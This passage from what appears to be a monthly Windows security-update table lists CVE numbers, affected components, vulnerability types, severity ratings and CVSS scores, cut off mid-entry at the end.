No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege 